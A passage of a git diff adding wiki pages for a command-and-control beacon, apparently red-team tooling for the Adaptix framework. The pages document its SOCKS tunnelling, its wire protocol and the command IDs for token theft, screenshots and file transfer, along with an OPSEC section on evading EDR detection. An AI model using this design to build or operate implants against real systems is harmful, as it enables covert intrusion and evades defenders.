` | Listening interface (default: `0.0.0.0`) | +| `port` | Listen port | +| `-socks4` | Use SOCKS4 instead of SOCKS5 | +| `-auth` | Enable username/password auth (SOCKS5 only) | +| `username` | Auth username (required with `-auth`) | +| `password` | Auth password (required with `-auth`) | + +UDP SOCKS5 (`CONNECT` command type 0x03) is not supported - the beacon's UDP tunnel callbacks are no-ops. + +## OPSEC + +- **No static ws2_32 import**: `ws2_32.dll` is loaded lazily via PEB walk + `LoadLibraryW` on the first tunnel command. The PE import table has no winsock dependency. +- **Loopback-only rportfwd**: `bind()` uses `127.0.0.1`, not `0.0.0.0`. Binding all interfaces is an EDR detection vector. +- **Non-blocking I/O**: All sockets use `ioctlsocket(FIONBIO, 1)`. No socket operation blocks the heartbeat. +- **Short timeouts**: `SO_RCVTIMEO` and `SO_SNDTIMEO` set to 100ms. +- **Graceful shutdown**: `shutdown(SD_BOTH)` before `closesocket()` with a 1-second drain period. + +## Files + +| File | Role | +|------|------| +| `src_beacon/src/Commands/Tunnel.c` | Beacon tunnel implementation (connect, write, recv, close, reverse, flow control) | +| `src_beacon/include/Instance.h` | NAX_WS2, NAX_TUNNEL structs | +| `src_beacon/include/Wire.h` | Tunnel command IDs (0x3E--0x46) | +| `src_beacon/include/Macros.h` | FNV1a hashes for ws2_32 APIs | +| `src_beacon/src/Main.c` | HTTP heartbeat tunnel processing block | +| `src_beacon/src/Transport/Smb.c` | SMB tunnel processing + WFMO timeout cap | +| `src_beacon/src/Commands/Pivot.c` | Adaptive pivot read timeout (fast after first response) | +| `src_server/agent_nonameax/pl_tunnels.go` | Go TunnelCallbacks + result parser | +| `src_server/agent_nonameax/pl_main.go` | Wires TunnelCallbacks into Adaptix | +| `src_server/agent_nonameax/pl_results.go` | Routes STATUS_TUNNEL results to processTunnelResult | +| `src_server/listener_nonameax_http/pl_http.go` | POST response no longer delivers tasks (prevents task loss) | diff --git a/wiki/Wire-Protocol.md b/wiki/Wire-Protocol.md new file mode 100644 index 0000000..4b9f309 --- /dev/null +++ b/wiki/Wire-Protocol.md @@ -0,0 +1,128 @@ +# Wire Protocol + +Binary framed protocol. All frames are AES-128-CBC encrypted before transmission, then passed through the malleable C2 profile's encoding pipeline. + +## Frame Format + +``` ++----------+----------+--------------+------------------+ +| Type (1) | Flags (1)| BodyLen (4LE)| Body (variable) | ++----------+----------+--------------+------------------+ +<---------- 6-byte header ----------> +``` + +## Message Types + +| Type | Value | Direction | Purpose | +|------|-------|-----------|---------| +| REGISTER | `0x01` | beacon -> server | First contact with sysinfo payload | +| HEARTBEAT | `0x02` | beacon -> server | Periodic check-in | +| RESULT | `0x03` | beacon -> server | Command output | +| NO_TASKS | `0x80` | server -> beacon | Nothing queued | +| TASK | `0x81` | server -> beacon | Command to execute | +| PROFILE | `0x82` | server -> beacon | Malleable C2 profile update | + +## Command IDs + +| Command | ID | Description | +|---------|------|-------------| +| `whoami` | `0x10` | Current Windows identity (domain\user) | +| `sleep` | `0x11` | Set callback interval and jitter % | +| `terminate thread` | `0x12` | Exit beacon thread (`RtlExitUserThread`) | +| `terminate process` | `0x13` | Kill beacon process (`ExitProcess`) | +| `cd` | `0x14` | Change working directory | +| `pwd` | `0x15` | Print working directory | +| `mkdir` | `0x16` | Create directory | +| `rmdir` | `0x17` | Remove directory | +| `cat` | `0x18` | Read file contents | +| `ls` | `0x19` | List directory (structured table output) | +| `bof` | `0x20` | Execute BOF (in-process COFF loader) | +| `screenshot` | `0x21` | GDI desktop capture | +| `download` | `0x22` | Download file from target to operator | +| `ps list` | `0x23` | Process list with tree view | +| `ps kill` | `0x24` | Terminate process by PID | +| `ps run` | `0x25` | Run program (`-s` suspend, `-o` capture output) | +| `upload` | `0x26` | Upload file from operator to target | +| `rm` | `0x27` | Delete a file | +| `profile` | `0x30` | Update malleable C2 profile at runtime | +| `bof-stomp` | `0x31` | Reconfigure BOF module stomping DLLs | +| `link smb` | `0x38` | Connect to child beacon's SMB pipe | +| `unlink` | `0x39` | Disconnect a linked child beacon | + +### Token Commands (0x50--0x57) + +Each token operation has its own command ID -- no sub-command dispatch byte. + +| Command | ID | Description | +|---------|------|-------------| +| `token getuid` | `0x50` | Current effective identity (process or impersonated) | +| `token steal` | `0x51` | Duplicate token from a running process | +| `token use` | `0x52` | Impersonate a stored token by ID | +| `token list` | `0x53` | List all tokens in the store | +| `token rm` | `0x54` | Remove a token from the store | +| `token revert` | `0x55` | Drop impersonation, revert to process token | +| `token make` | `0x56` | Create token from credentials (`LogonUserA`) | +| `token privs` | `0x57` | List privileges on the current token | + +See [Token Commands](Token-Commands.md) for full wire format details (args and result layouts). + +### Tunnel Commands (0x3E--0x46) + +Tunnel commands are delivered as `TASK_TYPE_PROXY_DATA` tasks. Results are batched per heartbeat and sent as a RESULT frame with `TaskId=0`, `Status=0x20` (STATUS_TUNNEL). + +| Command | ID | Direction | Args format | +|---------|----|-----------|-------------| +| CONNECT_TCP | `0x3E` | server -> beacon | channelId(4) \| type(4) \| addrLen(4) \| addr \| port(4) | +| CONNECT_UDP | `0x3F` | server -> beacon | (reserved, no-op) | +| WRITE_TCP | `0x40` | server -> beacon | channelId(4) \| dataLen(4) \| data | +| WRITE_UDP | `0x41` | server -> beacon | (reserved, no-op) | +| CLOSE | `0x42` | both | channelId(4) | +| REVERSE | `0x43` | server -> beacon | tunnelId(4) \| port(4) | +| ACCEPT | `0x44` | beacon -> server | tunnelId(4) \| newChannelId(4) | +| PAUSE | `0x45` | both | channelId(4) | +| RESUME | `0x46` | both | channelId(4) | + +### Tunnel Result Body + +Tunnel results use a concatenated entry format inside a single RESULT frame: + +``` ++---------------+-------------+---------------------------+ +| entryLen (4LE)| cmdId (4LE) | cmd-specific payload | ++---------------+-------------+---------------------------+ +| ...next entry... | +``` + +| Cmd | Response payload | +|-----|------------------| +| CONNECT_TCP | channelId(4) \| type(4) \| result(4) -- result=0 success | +| WRITE_TCP | channelId(4) \| dataLen(4) \| data | +| CLOSE | channelId(4) \| type(4) \| result(4) | +| REVERSE | tunnelId(4) \| type(4) \| result(4) -- result!=0 success | +| ACCEPT | tunnelId(4) \| newChannelId(4) | +| PAUSE | channelId(4) | +| RESUME | channelId(4) | + +## TASK Frame Body + +``` ++------------+-----------+------------------+ +| CmdId (1) | TaskId (4)| Args (variable) | ++------------+-----------+------------------+ +``` + +`TaskId` is a random 32-bit integer assigned by the server. The beacon includes it in the RESULT frame so the server can match results to tasks. + +## RESULT Frame Body + +``` ++------------+-----------+-----------+------------------+ +| CmdId (1) | TaskId (4)| Status (1)| Output (variable)| ++------------+-----------+-----------+------------------+ +``` + +`Status` is `0x00` for success, non-zero for errors. The output format depends on the command - most return UTF-8 text, some return structured binary (screenshots, downloads, BOF media). + +## Encryption + +All frames are encrypted with AES-128-CBC using the shared key configured at build time. The IV is prepended to the ciphertext (16 bytes). The server and beacon use the same key; the listener plugin handles encryption/decryption transparently.